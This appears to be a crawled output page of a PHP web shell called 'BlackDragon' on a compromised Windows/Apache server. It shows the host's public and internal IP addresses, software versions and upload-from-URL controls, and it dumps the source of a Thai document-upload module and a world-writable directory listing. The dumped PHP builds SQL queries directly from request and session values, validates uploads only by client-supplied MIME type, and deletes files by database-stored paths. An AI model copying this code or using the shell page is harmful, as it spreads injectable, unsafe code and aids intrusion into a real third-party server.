209.15.110.90 - BlackDragon

Windows NT MYOFFICEPLG2 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
192.168.0.82
Cant read /etc/named.conf

URL to Upload

File Name

Upload Method

Upload from URL

File Name : addfile.php.bak

<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<link href="style_web.css" rel="stylesheet" type="text/css" />
	<TABLE align="center" cellSpacing=0 cellPadding=0 width=1000 height=500 border=0>
      <TBODY>
        <TR>
          <TD vAlign=top>

<?
 if($_GET[op] == "supper_add" AND $_GET[action] == "add"){
	//////////////////////////////////////////// กรณีเพิ่ม Database
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
		require("includes/class.resizepic.php");
			$FILE = $_FILES['files1'];
		if (!$_POST[SUPPER_ID]){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณากรอกข้อมูลต่างๆให้ครบถ้วน หรือไฟล์มีขนาดใหญ่กว่า 2 MB')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
// นำฟังก์ชั่น Ramdom password มาใช้เพื่อกำหนดชื่อไฟล์ป้องกันการซ้ำกัน
 if($_FILES["files1"]["tmp_name"] != "")
{
			$upload = $_FILES["files1"]["tmp_name"];
			$upload_file = $_FILES["files1"]["type"];
			require 'includes/gen_file_name.php';
			$upload_time=$gen_file_name;
			$file_size=10024;
//ตรวจสอบชนิดของไฟล์
	if ($file_size>"10024f"){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ .pdf .doc .xls .zip ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}
//ตรวจสอบชนิดของไฟล์
	if (($upload_file!="image/gif")  AND ($upload_file!="image/jpg") AND  ($upload_file!="image/jpeg")AND ($upload_file!="image/png")){
			echo "<script language='javascript'>" ;
			echo "alert('กรุณาใช้ไฟล์ jpg , gif ,png ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
		}

#แปลงนามสกุล และทำการ upload
if( $upload_file == "image/gif" )
				{
						$filename = $upload_name.".gif";
				}
		if( $upload_file == "image/jpg" )
				{
						$filename = $upload_name.".jpg";
				}

if( $upload_file == "image/png" )
				{
						$filename = $upload_name.".png";
				}

if( $upload_file == "image/jpeg" )
				{
						$filename = $upload_name.".jpg";
				}
				$new1_upload = $upload_time.$filename;
copy($_FILES["files1"]["tmp_name"], "data/supper/$new1_upload");		
			$original_image = "data/supper/$new1_upload" ;
			$desired_width = _ISUPER_W ;
			$desired_height = _ISUPER_H ;
			$image = new hft_image($original_image);
			$image->resize($desired_width, $desired_height, '0');
			$image->output_resized("data/supper/$new1_upload");
//======================================================== END ======= UPLOAD 4 ============

//ทำการเพิ่มข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->add_db(TB_SUPPERFILE,array(
			"supper_id"=>"$_POST[SUPPER_ID]",
			"name"=>"$_POST[NAME]",
			"post_date"=>"".TIMESTAMP."",
			"full_text"=>"$new1_upload"));
		$db->closedb ();
} else {
			//ทำการเพิ่มข้อมูลลงดาต้าเบส
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$db->add_db(TB_SUPPERFILE,array(
			"supper_id"=>"$_POST[SUPPER_ID]",
			"name"=>"$_POST[NAME]",
			"post_date"=>"".TIMESTAMP.""));
		$db->closedb ();
}

$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการเพิ่ม  เข้าสู่ระบบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=supper&file=bookperson&category=".$arr[user][id]."&id='".$_GET[id]."' \">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "supper_add"){
	//////////////////////////////////////////// กรณีเพิ่ม Form
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
	//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
//ดึงค่า
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[supper] = $db->select_query("SELECT * FROM ".TB_SUPPER." WHERE id='".$_GET[id]."' ");
		$arr[supper] = $db->fetch($res[supper]);
		$db->closedb ();
		?>
<FORM NAME="myform" METHOD=POST ACTION="?name=supper&file=addfile&op=supper_add&action=add" enctype="multipart/form-data" id="myform">
<BR>
<TABLE width=930 height="80" align="center" background="images/124.jpg" border=0 cellPadding=0 cellSpacing=0>
     <TR>
          <TD align="center" vAlign=top><B>บันทึกข้อความ</B>
		  </TD>
		  </TR>
     <TR>
          <TD vAlign=top>
<TABLE width=800 height="80" align="center" border=0 cellPadding=0 cellSpacing=0>
     <TR>
          <TD vAlign=top>
<BR>
<input type="hidden" name="SUPPER_ID" value="<?=$arr[supper][id];?>" >
เรื่อง <?=$arr[supper][topic];?><br>
		  </TD>
				</TR>      
</table>
<table width="800" align="center"  border="0" cellspacing="0" cellpadding="0">
<tr>

<td  align="center"valign="top">
 ชื่อเอกสาร : <INPUT TYPE="text" NAME="NAME" size="30" ></B>&nbsp;&nbsp;<b>ไฟล์แนบ  : <input type="file" name="files1" size="30"><br>
<br>
<center><INPUT TYPE="submit" value=" บันทึกการส่ง" name="submit"style="background-color:#FFFF99"></center>
</td>
    </tr>
    </tr>
  </table>
<br>
</FORM>

<BR><BR>
<?
	}else{
		//กรณีไม่ผ่าน
		echo  $PermissionFalse ;
	}
}else if($_GET[op] == "supper_del" AND $_GET[action] == "multidel"){
	//////////////////////////////////////////// กรณีลบ Multi
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		while(list($key, $value) = each ($_POST['list'])){
			$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
			$res[supperfile] = $db->select_query("SELECT * FROM ".SUPPERFILE." WHERE id='".$value."' ");
			$arr[supperfile] = $db->fetch($res[supperfile]);
			$db->del(TB_SUPPERFILE," id='".$value."' ");

@unlink("data/supper/".$arr[supperfile][full_text]);
			$db->closedb ();
		}

}else{
	}
}
else if($_GET[op] == "supper_del"){
	//////////////////////////////////////////// กรณีลบ Form
	if(CheckLevelUser($_SESSION['user_user'],$_GET[op])){
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
//		$db->del(TB_supper," id='".$_GET[id]."' ");
			$res[supperfile] = $db->select_query("SELECT * FROM ".TB_SUPPERFILE." WHERE id='".$_GET[id]."' ");
			$arr[supperfile] = $db->fetch($res[supperfile]);
			$db->del(TB_SUPPERFILE," id='".$_GET[id]."' ");

@unlink("data/supper/".$arr[supperfile][full_text]);
		$db->closedb ();
		$ProcessOutput .= "<BR><BR>";
		$ProcessOutput .= "<CENTER><A HREF=\"?name=user&file=main\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
		$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการลบเรียบร้อยแล้ว</B></FONT><BR><BR>";
		$ProcessOutput .= "<meta http-equiv=\"refresh\" content=\"1 ;url=?name=supper&file=bookperson&op=supper_read&category=".$arr[user][id]."\">";
		$ProcessOutput .= "</CENTER>";
		$ProcessOutput .= "<BR><BR>";
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
?>

</TD>
        </TR>
      </TBODY>
    </TABLE>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	dr-xr-xr-x	2025-07-03 06:13:50
..	dir	-	0/0	dr-xr-xr-x	2025-07-03 06:13:53
add.php	file	7.69 KB	0/0	-rw-rw-rw-	2019-07-16 04:36:12
addfile.php	file	8.16 KB	0/0	-rw-rw-rw-	2020-01-11 05:50:06
addfile.php.bak	file	8.16 KB	0/0	-rw-rw-rw-	2020-01-11 05:48:46
bookperson.php	file	4.26 KB	0/0	-rw-rw-rw-	2019-07-15 07:23:16
delete_comment.php	file	1.2 KB	0/0	-rw-rw-rw-	2019-03-17 07:49:46
index.php	file	2.98 KB	0/0	-rw-rw-rw-	2024-01-06 10:06:00
indexsent.php	file	5.7 KB	0/0	-rw-rw-rw-	2019-07-15 07:19:52
readsupper.php	file	4.48 KB	0/0	-rw-rw-rw-	2020-01-11 05:45:16
readsupper.php.bak	file	4.48 KB	0/0	-rw-rw-rw-	2020-01-11 05:45:10
tabainsupper.php	file	4.35 KB	0/0	-rw-rw-rw-	2020-01-11 05:30:44
tabainsupperschool.php	file	4.3 KB	0/0	-rw-rw-rw-	2023-03-28 10:00:14
tabainsupperschool.php.bak	file	4.16 KB	0/0	-rw-rw-rw-	2023-03-28 09:58:48